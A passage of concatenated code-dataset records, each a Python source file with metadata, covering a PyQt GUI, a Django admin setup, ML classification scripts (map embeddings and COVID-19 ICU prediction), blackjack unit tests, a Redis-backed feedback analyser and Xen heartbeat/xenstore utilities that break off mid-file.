self.pushButton_4.setStyleSheet(\"background-color:#5858FA;\")\n self.pushButton_4.hide()\n self.lineEdit.setStyleSheet(\"background-color:#EFF2FB;\")\n self.lineEdit_2.setStyleSheet(\"background-color:#EFF2FB;\")\n self.textEdit.setStyleSheet(\"background-color:#EFF2FB;\")\n self.textEdit_2.setStyleSheet(\"background-color:#EFF2FB;\")\n self.check_save_message1 = (\"False\")\n self.check_save_message4 = (\"False\")\ndef main():\n app = QtWidgets.QApplication(sys.argv) # Новый экземпляр QApplication\n global window1\n global window4\n global window5\n window4 = (\"null\")\n window1 = ExampleApp() # Создаём объект класса ExampleApp\n window1.setStyleSheet(\"background-color:#CED8F6;\")\n window1.show() # Показываем окно\n app.exec_() # и запускаем приложение\n\nif __name__ == '__main__': # Если мы запускаем файл напрямую, а не импортируем\n main() # то запускаем функцию main() \n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"472959072","text":"#Extract references to media files linked from the article.\nimport re\n\npattern = re.compile(r'.*?(File):(.+?)\\|')\n\nwith open('/users/kcnco/github/100knock2021/pan/chapter03/x20.txt','r') as f:\n for line in f:\n result = re.search(pattern, line)\n if result:\n print(result.group(2))\n","sub_path":"pan/chapter03/X24.py","file_name":"X24.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"235973832","text":"from django.contrib import admin\n\nfrom . import models\n\n\n@admin.register(models.Event)\nclass EventAdmin(admin.ModelAdmin):\n list_display = [\n 'verbose_name',\n 'code',\n 'creation_date',\n ]\n\n search_fields = [\n 'verbose_name',\n 'code',\n 'description',\n ]\n\n readonly_fields = [\n 'slug',\n ]\n\n\n@admin.register(models.EventConfig)\nclass EventConfigAdmin(admin.ModelAdmin):\n list_display = [\n 'event',\n 'user',\n 'creation_date',\n ]\n\n search_fields = [\n 'event__verbose_name',\n 'event__code',\n 'event__description',\n 'user__username',\n ]\n\n raw_id_fields = [\n 'event',\n 'user',\n ]\n\n list_select_related = [\n 'user',\n 'event',\n ]\n\n\n@admin.register(models.Entry)\nclass EntryAdmin(admin.ModelAdmin):\n list_display = [\n 'config',\n 'start',\n ]\n\n search_fields = [\n 'config__event__verbose_name',\n 'config__event__code',\n 'config__event__description',\n ]\n\n list_select_related = [\n 'config__user',\n 'config__event',\n ]\n\n raw_id_fields = [\n 'config',\n ]\n","sub_path":"tempo/events/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"468038692","text":"import json\nimport random\nfrom sklearn import model_selection as cross_validation, svm, metrics\nimport pandas as pd\n\ninput_raw_embedding_file = 'tokyo/embedding/my_model/tmp/tokyo_shortest_dist_tag_type_window_width500_traffic_signal.embedding'\ncrossing_tag_json_file = 'tokyo/node/nodes_crossing.json'\ntraffic_tag_json_file = 'tokyo/node/nodes_traffic_signals.json'\n\npath_array = input_raw_embedding_file.rsplit('.', 1)\nlabeled = path_array[0] + '_labeled.' + path_array[1]\nprint(labeled)\nlabeled_array = labeled.split('/', 2)\nlabeled = labeled_array[0] + '/labeled_emb/' + labeled_array[2]\n\nf_labeled = open(labeled, 'w+')\nf_embeddings = open(input_raw_embedding_file, 'r')\nf_nodes_selected_crossing = open(crossing_tag_json_file, 'r')\nf_nodes_selected_traffic = open(traffic_tag_json_file, 'r')\n\n\ndef label_embeddings(selected_crossing, selected_traffic, embeddings, output, fraction=1):\n node_crossing = json.loads(selected_crossing.readline())\n node_traffic = json.loads(selected_traffic.readline())\n crossing_count = 0\n traffic_count = 0\n normal_count = 0\n for line in embeddings.readlines():\n line = line.strip()\n osmid_vector = line.split(' ')\n osmid, node_vec = osmid_vector[0], osmid_vector[1:]\n if len(node_vec) < 10:\n continue\n if osmid in node_crossing:\n output.write(line + ' ' + 'crossing' + '\\n')\n crossing_count += 1\n elif osmid in node_traffic:\n output.write(line + ' ' + 'traffic_signals' + '\\n')\n traffic_count += 1\n else:\n rd = random.randint(0, 999) + 1\n if rd > fraction:\n continue\n output.write(line + ' ' + 'normal' + '\\n')\n normal_count += 1\n print(\"crossing count: \", crossing_count)\n print(\"traffic signals count: \", traffic_count)\n print(\"cormal count: \", normal_count)\n\nlabel_embeddings(f_nodes_selected_crossing, f_nodes_selected_traffic, f_embeddings, f_labeled, fraction=40)\n\nf_labeled.close()\nf_embeddings.close()\nf_nodes_selected_crossing.close()\nf_nodes_selected_traffic.close()\n\n\n# ======classification=====\nmax_score = 0\nmax_report = None\nfor i in range(10):\n data_matrix = pd.read_csv(labeled, header=None, sep=' ', index_col=0)\n # print(tbl.dtypes)\n rows_size, cols_size = data_matrix.shape\n label = data_matrix[cols_size]\n del data_matrix[cols_size]\n\n # wh = pd.concat(dimensions_64, axis=1)\n\n data_train, data_test, label_train, label_test = cross_validation.train_test_split(data_matrix, label)\n\n clf = svm.LinearSVC(max_iter=10000)\n\n clf.fit(data_train, label_train)\n predict = clf.predict(data_test)\n ac_score = metrics.accuracy_score(label_test, predict)\n cl_report = metrics.classification_report(label_test, predict, digits=4)\n if ac_score > max_score:\n max_score = ac_score\n max_report = cl_report\n\nprint(max_score)\nprint(max_report)\n\n","sub_path":"new_classification_multi.py","file_name":"new_classification_multi.py","file_ext":"py","file_size_in_byte":2927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"160613231","text":"\"\"\"\r\nunit tests for various blackjack game functions\r\ndoes not cover all functions or code\r\n\"\"\"\r\nimport unittest\r\nimport blackjack\r\n\r\n\r\nclass BlackjackTestCase(unittest.TestCase):\r\n \"\"\"\r\n test cases for blackjack game functions\r\n \"\"\"\r\n def test_card_value(self):\r\n \"\"\"\r\n basic getter check\r\n :return: None\r\n \"\"\"\r\n ace = blackjack.Card('Hearts', 'Ace', 11)\r\n self.assertEqual(ace.get_value(), 11)\r\n\r\n def test_deck_init(self):\r\n \"\"\"\r\n checks deck is full\r\n :return: None\r\n \"\"\"\r\n deck = blackjack.Deck()\r\n self.assertEqual(len(deck.cards), 52)\r\n\r\n def test_deck_deal(self):\r\n \"\"\"\r\n deals few cards\r\n :return: None\r\n \"\"\"\r\n deck = blackjack.Deck()\r\n hand = []\r\n for i in range(0, 5):\r\n hand.append(deck.deal())\r\n i += 1\r\n self.assertEqual(len(hand), i)\r\n self.assertEqual(len(deck.cards), 47)\r\n\r\n def test_deck_shuffle(self):\r\n \"\"\"\r\n checks shuffle mixes up the cards, does not test entropy ...\r\n :return: None\r\n \"\"\"\r\n deck1 = blackjack.Deck()\r\n deck2 = blackjack.Deck()\r\n deck1.shuffle()\r\n deck2.shuffle()\r\n hand1 = []\r\n hand2 = []\r\n for i in range(0, 50):\r\n hand1.append(deck1.deal())\r\n hand2.append(deck2.deal())\r\n identical = True\r\n for i in range(0, 50):\r\n if hand1[i].get_value() != hand2[i].get_value():\r\n identical = False\r\n break\r\n # ~ 1:30414093201713378043612608166064768844377641568960512000000000000 for false negative\r\n self.assertEqual(identical, False)\r\n\r\n def test_dealer_move(self):\r\n \"\"\"\r\n makes sure Dealer hits if <=16 and stays otherwise\r\n :return: None\r\n \"\"\"\r\n ace_card = blackjack.Card('Hearts', 'Ace', 11)\r\n jack_card = blackjack.Card('Clubs', 'Jack', 10)\r\n seven_card = blackjack.Card('Spades', 'Seven', 7)\r\n two_card = blackjack.Card('Diamonds', 'Two', 2)\r\n dealer = blackjack.Dealer('Dealer')\r\n dealer.hand = [ace_card, jack_card]\r\n self.assertEqual(dealer.play(), 's')\r\n dealer.hand = [ace_card, two_card]\r\n self.assertEqual(dealer.play(), 'h')\r\n dealer.hand = [ace_card, seven_card]\r\n self.assertEqual(dealer.play(), 's')\r\n\r\n def test_dealer_bet(self):\r\n \"\"\"\r\n makes sure Dealer always bets 0, regardless of hand\r\n :return: None\r\n \"\"\"\r\n ace_card = blackjack.Card('Hearts', 'Ace', 11)\r\n jack_card = blackjack.Card('Clubs', 'Jack', 10)\r\n seven_card = blackjack.Card('Spades', 'Seven', 7)\r\n two_card = blackjack.Card('Diamonds', 'Two', 2)\r\n dealer = blackjack.Dealer('Dealer')\r\n dealer.hand = [ace_card, jack_card]\r\n self.assertEqual(dealer.place_bet(), 0)\r\n dealer.hand = [ace_card, two_card]\r\n self.assertEqual(dealer.place_bet(), 0)\r\n dealer.hand = [ace_card, seven_card]\r\n self.assertEqual(dealer.place_bet(), 0)\r\n\r\n def test_blackjack_score(self):\r\n \"\"\"\r\n check score for various cases - high, low, BUST, BLACKJACK, Ace as 1 instead of 11\r\n :return: None\r\n \"\"\"\r\n ace_card = blackjack.Card('Hearts', 'Ace', 11)\r\n jack_card = blackjack.Card('Clubs', 'Jack', 10)\r\n nine_card = blackjack.Card('Hearts', 'Nine', 9)\r\n seven_card = blackjack.Card('Spades', 'Seven', 7)\r\n four_card = blackjack.Card('Spades', 'Four', 4)\r\n two_card = blackjack.Card('Diamonds', 'Two', 2)\r\n player = blackjack.HumanPlayer('Tester', 1000)\r\n player.hand = [ace_card, jack_card]\r\n self.assertEqual(blackjack.BlackjackGame.score(player), 21)\r\n player.hand = [ace_card, jack_card, nine_card]\r\n self.assertEqual(blackjack.BlackjackGame.score(player), 20)\r\n player.hand = [seven_card, jack_card, nine_card]\r\n self.assertEqual(blackjack.BlackjackGame.score(player), -1)\r\n player.hand = [seven_card, four_card]\r\n self.assertEqual(blackjack.BlackjackGame.score(player), 11)\r\n player.hand = [seven_card, four_card, nine_card]\r\n self.assertEqual(blackjack.BlackjackGame.score(player), 20)\r\n player.hand = [seven_card, four_card, two_card]\r\n self.assertEqual(blackjack.BlackjackGame.score(player), 13)\r\n player.hand = [two_card, four_card]\r\n self.assertEqual(blackjack.BlackjackGame.score(player), 6)\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","sub_path":"08-Milestone Project - 2/blackjack_test.py","file_name":"blackjack_test.py","file_ext":"py","file_size_in_byte":4595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"104710715","text":"from recommender.techScore import getTechScore\nfrom recommender.techScore import getTechList\n\nimport logging\nimport redis\nimport pickle\n\n# TODO host redis separately\nr = redis.StrictRedis(host='localhost', port=6379, db=0)\n\n\ndef analyse(feedback):\n techScore = getTechScore(feedback['review'])\n logging.debug(\"TecScore: %s\" % techScore)\n pushToElastic(feedback)\n if techScore:\n updateTechScore(course=feedback['course'],\n professor=feedback['professor'],\n techScore=techScore)\n\n\ndef pushToElastic(feedback):\n # TODO\n logging.info(\"#\" * 10 + \"TODO\" + \"#\" * 10)\n logging.info(\"Pushing feedback to elastic\")\n\n\ndef updateTechScore(course, professor, techScore):\n weightedTechScore = getProfCourseScore(course, professor)\n pprint(weightedTechScore, \"Old tech score for %s under %s\" % (course,\n professor))\n newWeightedTechScore = _addTechScore(weightedTechScore, techScore)\n _updateTechScore(course, professor, newWeightedTechScore)\n pprint(newWeightedTechScore, \"New tech score for %s under %s\" %\n (course, professor))\n return getProfCourseScore(course, professor)\n\n\ndef _addTechScore(weightedTechScore, newTechScore):\n w = weightedTechScore\n nw = dict() # newWeightedTechScore\n for tech in w:\n # print tech\n nw[tech] = {}\n if tech in newTechScore:\n # pprint(tech, \"tech\")\n # pprint(w[tech]['value'], \"w[tech]['value']\")\n # pprint(w[tech]['n'], \"w[tech]['n']\")\n presentTotal = w[tech]['value'] * w[tech]['n']\n # pprint(presentTotal, \"presentTotal\")\n newTotal = presentTotal + newTechScore[tech]\n newAvg = newTotal / (w[tech]['n'] + 1)\n nw[tech]['value'] = newAvg\n nw[tech]['n'] = w[tech]['n'] + 1\n else:\n nw[tech]['value'] = w[tech]['value']\n nw[tech]['n'] = w[tech]['n']\n return nw\n\n\ndef _updateTechScore(course, professor, newTechScore):\n key = _getKey(course, professor)\n return _setter(key, newTechScore)\n\n\ndef _setter(key, value):\n \"\"\"value must be a dict\"\"\"\n assert type(value) == dict, \"Value inserted into Redis must be dict type\"\n # TODO check if value satisfies schema\n pValue = pickle.dumps(value)\n r.set(key, pValue)\n\n\ndef __getter(key):\n \"\"\"returns None OR dict\"\"\"\n val = r.get(key)\n if val is not None:\n val = pickle.loads(val)\n return val\n\n\ndef _getter(key):\n \"\"\"returns dict ONLY\"\"\"\n # TODO add support for dynamically growing tech list\n val = __getter(key)\n if val is None:\n val = _getEmptyTechScore()\n assert val is not None\n _setter(key, val)\n val = _getter(key)\n return val\n\n\ndef _getEmptyTechScore():\n techList = getTechList()\n val = {}\n for tech in techList:\n val[tech] = dict()\n val[tech][\"n\"] = 0\n val[tech][\"value\"] = 0\n pprint(val, \"New genearted empy tech score\")\n return val\n\n\ndef _getKey(course, professor):\n return str(course) + \"_\" + str(professor)\n\n\ndef getProfCourseScore(course, professor):\n global r\n key = _getKey(course, professor)\n val = _getter(key)\n return val\n\n\ndef getCourseScore(course):\n keys = _keys(\"%s_*\" % course)\n score = {}\n for key in keys:\n tempscore = _getter(key)\n # Duplication of code\n # TODO make a functionto accept two tech scores and and add them\n for tech in tempscore:\n tempTotal = tempscore[tech]['value'] * tempscore[tech]['n']\n tempN = tempscore[tech]['n']\n if tech in score:\n presentTotal = score[tech].get('value', 0) * score[tech].get(\n 'n', 0)\n # pprint(tempTotal, \"tempTotal\")\n tempN += score[tech].get('n', 0)\n tempTotal += presentTotal\n else:\n score[tech] = {}\n if tempN:\n score[tech]['value'] = tempTotal / tempN\n score[tech]['n'] = tempN\n else:\n score[tech]['value'] = 0\n score[tech]['n'] = 0\n return score\n\n\ndef pprint(x, message=None):\n logging.debug(\"-\" * 10)\n logging.debug(message)\n logging.debug(\"Type:%s\" % type(x))\n logging.debug(\"Val:'%s'\" % x)\n logging.debug(\"-\" * 10)\n\n\ndef _keys(pattern=\"*\"):\n return r.keys(pattern)\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.DEBUG)\n # print getProfCourseScore(\"CMPE123\", \"ProfA\")\n # key = \"CMPE123_ProfA\"\n\n for key in r.keys(\"CMPE272*\"):\n r.delete(key)\n # _updateTechScore(course=\"CMPE272\",\n # professor=\"ProfA\",\n # newTechScore={\"docker\": 0})\n pprint(getProfCourseScore(\"CMPE272\", \"ProfA\"), \"should be empty tech list\")\n pprint(updateTechScore(\"CMPE272\", \"ProfA\", {\"docker\": 0.6,\n \"flask\": 0.4}), \"1st\")\n pprint(updateTechScore(\"CMPE272\", \"ProfB\", {\"docker\": 0.4,\n \"elastic\": 0.8}), \"2nd\")\n pprint(getCourseScore(\"CMPE272\"))\n # pprint(updateTechScore(\"CMPE272\", \"ProfA\", {\"flask\": 0.9}), \"2nd\")\n","sub_path":"Flask/feedbackAnalyser.py","file_name":"feedbackAnalyser.py","file_ext":"py","file_size_in_byte":5250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"511931259","text":"'''\n@author: Maarten Ottenhoff\n@email: m.ottenhoff@maastrichtuniversity.nl\n\nPlease do not use without permission\n'''\n# Builtin libs\nimport configparser\nimport pickle\nimport os\nimport sys\npath_to_classifiers = r'./Classifiers/'\n# path_to_settings = r'./' # TODO: add settings\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), path_to_classifiers))\n\n# 3th party libs\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import LeaveOneOut\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import plot_confusion_matrix\nfrom sklearn.metrics import roc_auc_score\n\n# Local Libs\nfrom covid19_import import import_data_by_record\nfrom covid19_ICU_util import get_all_field_information\nfrom covid19_ICU_util import fix_single_errors\nfrom covid19_ICU_util import transform_binary_features\nfrom covid19_ICU_util import transform_categorical_features\nfrom covid19_ICU_util import transform_numeric_features\nfrom covid19_ICU_util import transform_time_features\nfrom covid19_ICU_util import transform_string_features\nfrom covid19_ICU_util import transform_calculated_features\nfrom covid19_ICU_util import select_data\nfrom covid19_ICU_util import calculate_outcomes\nfrom covid19_ICU_util import select_x_y\nfrom covid19_ICU_util import select_variables\nfrom covid19_ICU_util import plot_model_results\nfrom covid19_ICU_util import plot_model_weights\nfrom covid19_ICU_util import plot_feature_importance\nfrom covid19_ICU_util import explore_data\n\n# classifiers\nfrom logreg import train_logistic_regression\nfrom gradboost import train_gradient_boosting\n\nis_in_columns = lambda var_list, data: [v for v in var_list if v in data.columns]\ngoal_name = {'icu_admission': 'ICU admission', 'mortality': 'Mortality', 'duration_of_stay_at_icu': 'Duration of stay at ICU'}\n\n\ndef load_data_api(path_credentials):\n\n # Try loading objects from disk file; delete saveddata.pkl to force reload data\n try:\n with open(os.path.join(path_credentials,'saveddata.pkl'),'rb') as f: # Python 3: open(..., 'rb')\n df_study, df_structure, df_report, df_report_structure, df_optiongroup_structure = pickle.load(f)\n print('Loading data from PC... delete saveddata.pkl to force reload data from Castor')\n except:\n print('Loading data from PC failed, reloading from Castor server.')\n df_study, df_structure, df_report, df_report_structure, df_optiongroup_structure = import_data_by_record(path_credentials)\n with open(str(os.path.join(path_credentials,'saveddata.pkl')), 'wb') as f: # Python 3: open(..., 'wb')\n pickle.dump([df_study, df_structure, df_report, df_report_structure, df_optiongroup_structure], f)\n\n df_study = df_study.reset_index(drop=True)\n df_report = df_report.reset_index(drop=True)\n\n df_study = df_study.rename({'Record ID': \"Record Id\"}, axis=1)\n df_report = df_report.rename({'Record ID': \"Record Id\"}, axis=1)\n\n # Remove test records\n df_study = df_study.loc[df_study['Record Id'].astype(int) > 11000, :]\n\n var_columns = ['Form Type', 'Form Collection Name', 'Form Name', 'Field Variable Name',\n 'Field Label', 'Field Type', 'Option Name', 'Option Value']\n data_struct = get_all_field_information(path_credentials)\n data_struct = data_struct.loc[:, var_columns]\n\n return df_study, df_report, data_struct\n\n\ndef load_data(path_to_creds):\n\n df_study, df_report, data_struct = load_data_api(path_to_creds)\n\n data = pd.merge(left=df_study, right=df_report, how='right', on='Record Id')\n\n # Fix empty columns:\n data = data.rename(columns={\"\": \"EMPTY_COLUMN_NAME\", None: \"EMPTY_COLUMN_NAME\"})\n\n return data, data_struct\n\n\ndef preprocess(data, data_struct):\n ''' Processed the data per datatype.'''\n\n # Fix single errors\n data = fix_single_errors(data)\n\n # Transform variables\n data, data_struct = transform_binary_features(data, data_struct)\n data, data_struct = transform_categorical_features(data, data_struct)\n data, data_struct = transform_numeric_features(data, data_struct)\n data, data_struct = transform_time_features(data, data_struct)\n data, data_struct = transform_string_features(data, data_struct)\n data, data_struct = transform_calculated_features(data, data_struct)\n\n # Remove columns without any information\n data, data_struct = select_data(data, data_struct)\n\n return data, data_struct\n\n\ndef prepare_for_learning(data, data_struct, variables_to_incl, goal, group_by_record=True,\n use_outcome=None, additional_fn=None):\n # Get all outcomes\n # outcomes, used_columns = calculate_outcomes(data, data_struct)\n\n outcomes, used_columns = calculate_outcomes(data, data_struct)\n data = pd.concat([data, outcomes], axis=1)\n\n # Group per record id\n if group_by_record:\n outcomes = outcomes.groupby(by=data['Record Id'], axis=0).last().reset_index(drop=True)\n data = data.groupby(by='Record Id', axis=0).last().reset_index(drop=True)\n\n\n x, y, outcome_name = select_x_y(data, outcomes, used_columns,\n goal=goal)\n\n # Select variables to include in prediction\n x = select_variables(x, data_struct, variables_to_incl)\n # Select variables to exclude\n # TODO: used_columns (can't include columns used to calculate the outcome)\n # any other columns\n\n # Remove columns without information\n x = x.loc[:, x.nunique()>1] # Remove columns without information\n x = x.fillna(0) # Fill missing values with 0 (as far as I know 0==missing or no)\n\n print('LOG: Using <{}> as y.'.format(outcome_name))\n print('LOG: Selected {} variables for predictive model'.format(x.columns.size))\n\n return x, y, data\n\ndef model_and_predict(x, y, model_fn, model_kwargs, test_size=0.2):\n ''' \n NOTE: kwargs must be a dict. e.g.: {\"select_features\": True,\n \"plot_graph\": False}\n Select samples and fit model. Currently uses random sub-sampling validation (also called\n Monte Carlo cross-validation) with balanced class weight (meaning test has the same \n Y-class distribution as train)\n '''\n\n # Train/test-split\n train_x, test_x, train_y, test_y = train_test_split(x, y, test_size=test_size, stratify=y) # stratify == simila y distribution in both sets\n\n clf, train_x, test_x,\\\n train_y, test_y, test_y_hat= model_fn(train_x, test_x, train_y, test_y, **model_kwargs)\n\n return clf, train_x, train_y, test_x, test_y, test_y_hat\n\ndef score_and_vizualize_prediction(model, test_x, test_y, y_hat, rep):\n y_hat = y_hat[:, 1] # Select P_(y=1)\n\n # Metrics\n roc_auc = roc_auc_score(test_y, y_hat)\n\n if rep<5:\n # Confusion matrix\n disp = plot_confusion_matrix(model, test_x, test_y, cmap=plt.cm.Blues)\n disp.ax_.set_title('rep={:d} // ROC AUC: {:.3f}'.format(rep, roc_auc))\n\n return roc_auc\n\n\nif __name__ == \"__main__\":\n prediction_goal = ['icu_admission', 'mortality', 'duration_of_stay_at_icu']\n goal = prediction_goal[0]\n\n variables_to_include = {\n 'Form Collection Name': ['BASELINE', 'HOSPITAL ADMISSION'], # Variable groups\n 'Form Name': [], # variable subgroups\n 'Field Variable Name': [] # single variables\n }\n\n config = configparser.ConfigParser()\n config.read('user_settings.ini') # create this once using covid19_createconfig and never upload this file to git.\n path_creds = config['CastorCredentials']['local_private_path']\n\n data, data_struct = load_data(path_creds)\n data, data_struct = preprocess(data, data_struct)\n x, y, data = prepare_for_learning(data, data_struct, variables_to_include, goal)\n\n # TEMP remove duration to allow for input logreg classification\n y = y.iloc[:, 0]\n\n explore_data(x, y)\n\n aucs = []\n model_coefs = []\n model_intercepts = []\n model_importances = []\n repetitions = 100\n select_features = False\n has_intercept = True # {True for LR - False for gradientboosting}\n \n model_fn = train_logistic_regression\n #model_fn = train_gradient_boosting\n model_kwargs = {}\n\n # Gradientboosting kwargs\n #model_kwargs = {'gridsearch' : False}\n \n for i in range(repetitions):\n print('.', end='', flush=True)\n model, train_x, train_y, test_x, \\\n test_y, test_y_hat = model_and_predict(x, y, model_fn, model_kwargs, test_size=0.2)\n auc = score_and_vizualize_prediction(model, test_x, test_y, test_y_hat, i)\n\n aucs.append(auc)\n \n if has_intercept:\n model_intercepts.append(model.intercept_)\n model_coefs.append(model.coef_)\n else:\n model_importances.append(model.feature_importances_)\n\n # TODO: Develop a way to aquire the name of the model automatically\n fig, ax = plot_model_results(aucs, goal_name[goal], 'Logistic regression')\n\n if has_intercept:\n if not select_features:\n fig, ax = plot_model_weights(model_coefs, model_intercepts, test_x.columns,\n show_n_features=25, normalize_coefs=False)\n else:\n fig, ax = plot_feature_importance(model_importances, train_x.columns.values, show_n_features=5)\n plt.show()\n \n print('done')\n","sub_path":"covid19_ICU_admission.py","file_name":"covid19_ICU_admission.py","file_ext":"py","file_size_in_byte":9634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"341047868","text":"from ctypes import cdll\nimport ctypes\nimport sysv_ipc\nimport sys\nfrom pyxs import Client\nimport threading\nimport xen_interface\n\n\n\nclass Heartbeat:\n\tdef __init__(self,shm_key, win_size,buf_depth,log_file,min_target,max_target):\n\t\tself.win_size = win_size\n\t\tself.buf_depth = buf_depth\n\t\tself.log_file = log_file.encode('utf-8')\n\t\tself.min_target = min_target\n\t\tself.max_target = max_target\n\t\tself.shm_key = shm_key\n\t\tself.heartbeat_python_lib = cdll.LoadLibrary('./heartbeat_python_lib.so')\n\t\tself.cnt = -1\n\t\t\n\t\t# conversion is from hearbeat code\n\t\tlog_shm_key = self.shm_key*2\n\t\tstate_shm_eky = self.shm_key*2+1\n\t\t# remove exsisting shm\n\t\tshm_ids = [shm_key ,log_shm_key, state_shm_eky]\n\t\tfor tmp_shm_key in shm_ids:\n\t\t\ttry:\n\t\t\t\tmemory = sysv_ipc.SharedMemory(tmp_shm_key)\n\t\t\texcept sysv_ipc.ExistentialError:\n\t\t\t\tprint('''The shared memory with tmp_shm_key \"{}\" doesn't exist.'''.format(tmp_shm_key))\n\t\t\telse:\n\t\t\t\tmemory.remove()\n\t\t\t\tprint('Removed the shared memory with tmp_shm_key \"{}\".'.format(tmp_shm_key))\n\t\tself.heartbeat_python_lib.anchors_heartbeat_init.argtypes = [ctypes.c_int,ctypes.c_int64,ctypes.c_int64,ctypes.c_char_p,ctypes.c_double,ctypes.c_double ]\n\t\tsuc = self.heartbeat_python_lib.anchors_heartbeat_init(self.shm_key,self.win_size,self.buf_depth,self.log_file,self.min_target,self.max_target)\n\t\tif suc:\n\t\t\tprint(\"hb_init!\")\t\n\tdef heartbeat_beat(self):\n\t\tself.cnt=(self.cnt+1)%self.buf_depth\n\t\tself.heartbeat_python_lib.anchors_heartbeat.restype = ctypes.c_int64\n\t\thbtime = self.heartbeat_python_lib.anchors_heartbeat(self.shm_key,self.cnt) # hbtime/1e9 = seconds\n\tdef get_instant_heartrate(self):\n\t\tself.heartbeat_python_lib.get_instant_heartrate.restype = ctypes.c_double\n\t\treturn self.heartbeat_python_lib.get_instant_heartrate(self.shm_key,self.cnt)\n\tdef get_window_heartrate(self):\n\t\tself.heartbeat_python_lib.get_window_heartrate.restype = ctypes.c_double\n\t\treturn self.heartbeat_python_lib.get_window_heartrate(self.shm_key,self.cnt)\n\tdef get_global_heartrate(self):\n\t\tself.heartbeat_python_lib.get_global_heartrate.restype = ctypes.c_double\n\t\treturn self.heartbeat_python_lib.get_global_heartrate(self.shm_key,self.cnt)\n\tdef heartbeat_finish(self):\n\t\tif self.heartbeat_python_lib.anchors_heartbeat_finish(self.shm_key):\n\t\t\tprint(\"clean up\",self.shm_key)\n\n\n\n\nclass Dom0:\n\tdef __init__(self,keys=['heart_rate'],domu_ids=[],base_path='/local/domain'):\n\t\tself.domu_ids = domu_ids\n\t\tself.keys=keys\n\t\tself.base_path=base_path\n\t\t# with Client(unix_socket_path=\"/var/run/xenstored/socket_ro\") as c:\n\t\t# \tif domu_ids==[]:\n\t\t# \t\tfor x in c.list(base_path.encode()):\n\t\t# \t\t\tself.domu_ids.append(x.decode())\n\t\t# \t\tself.domu_ids.pop(0)\n\t\t# \tfor domuid in self.domu_ids:\n\t\t# \t\tpermissions = []\n\t\t# \t\tpermissions.append(('b'+'0').encode())\n\t\t# \t\tpermissions.append(('b'+domuid).encode())\n\t\t# \t\tfor key in keys:\n\t\t# \t\t\ttmp_key_path = (base_path+'/'+domuid+'/'+key).encode()\n\t\t# \t\t\ttmp_val = ('xenstore entry init').encode()\n\t\t# \t\t\tc.set_perms(tmp_key_path,permissions)\n\t\t# \t\t\t# c.write(tmp_key_path,tmp_val)\n\n\t\t# \t\t\tprint('created',key,'for dom',domuid)\t\t\t\n\n\t\twith Client(xen_bus_path=\"/dev/xen/xenbus\") as c:\n\t\t\tif domu_ids==[]:\n\t\t\t\tfor x in c.list(base_path.encode()):\n\t\t\t\t\tself.domu_ids.append(x.decode())\n\t\t\t\tself.domu_ids.pop(0)\n\t\t\tfor domuid in self.domu_ids:\n\t\t\t\tpermissions = []\n\t\t\t\tpermissions.append(('b'+'0').encode())\n\t\t\t\tpermissions.append(('b'+domuid).encode())\n\t\t\t\tfor key in keys:\n\t\t\t\t\ttmp_key_path = (base_path+'/'+domuid+'/'+key).encode()\n\t\t\t\t\ttmp_val = ('xenstore entry init').encode()\n\t\t\t\t\tc.write(tmp_key_path,tmp_val)\n\t\t\t\t\tc.set_perms(tmp_key_path,permissions)\n\t\t\t\t\tprint('created',key,'for dom',domuid)\n\t# def monitor(self, domuid): # one monitor observe one domU at a time\n\t# \twith Client(unix_socket_path=\"/var/run/xenstored/socket_ro\") as c:\n\t# \t\tm = c.monitor()\n\t# \t\tfor key in self.keys:\n\t# \t\t\ttmp_key_path = (self.base_path+'/'+domuid+'/'+key).encode()\n\t# \t\t\ttoken = (key+' '+domuid).encode()\n\t# \t\t\tm.watch(tmp_key_path,token)\n\t# \t\t\tprint('watching',key,'of dom',domuid)\n\t# \t\tnum_done = 0\n\t# \t\twhile num_done < len(self.domu_ids):\n\t# \t\t\tpath,token=next(m.wait())\n\t# \t\t\tmsg=c.read(path).decode()\n\t# \t\t\tprint( token.decode(),':',msg)\n\t# \t\t\tif msg=='q':\n\t# \t\t\t\tnum_done+=1\n\t# def monitor(self): # one monitor observe all domUs\n\t# \twith Client(unix_socket_path=\"/var/run/xenstored/socket_ro\") as c:\n\t# \t\tm = c.monitor()\n\t# \t\tfor domuid in self.domu_ids:\n\t# \t\t\tfor key in self.keys:\n\t# \t\t\t\ttmp_key_path = (self.base_path+'/'+domuid+'/'+key).encode()\n\t# \t\t\t\ttoken = (key+' '+domuid).encode()\n\t# \t\t\t\tm.watch(tmp_key_path,token)\n\t# \t\t\t\tprint('watching',key,'of dom',domuid)\n\t# \t\tnum_done = 0\n\t# \t\twhile num_done < len(self.domu_ids):\n\t# \t\t\tpath,token=next(m.wait())\n\t# \t\t\tmsg=c.read(path).decode()\n\t# \t\t\tprint( token.decode(),':',msg)\n\t# \t\t\tif msg=='done':\n\t# \t\t\t\tnum_done+=1\nclass DomU:\n\tdef __init__(self,keys=['test'],base_path='/local/domain'):\n\t\tself.domu_id=\"\"\n\t\tself.keys=keys\n\t\tself.base_path=base_path\n\t\tself.key_path_hash = {}\n\t\twith Client(xen_bus_path=\"/dev/xen/xenbus\") as c:\n\t\t\tself.domu_id = 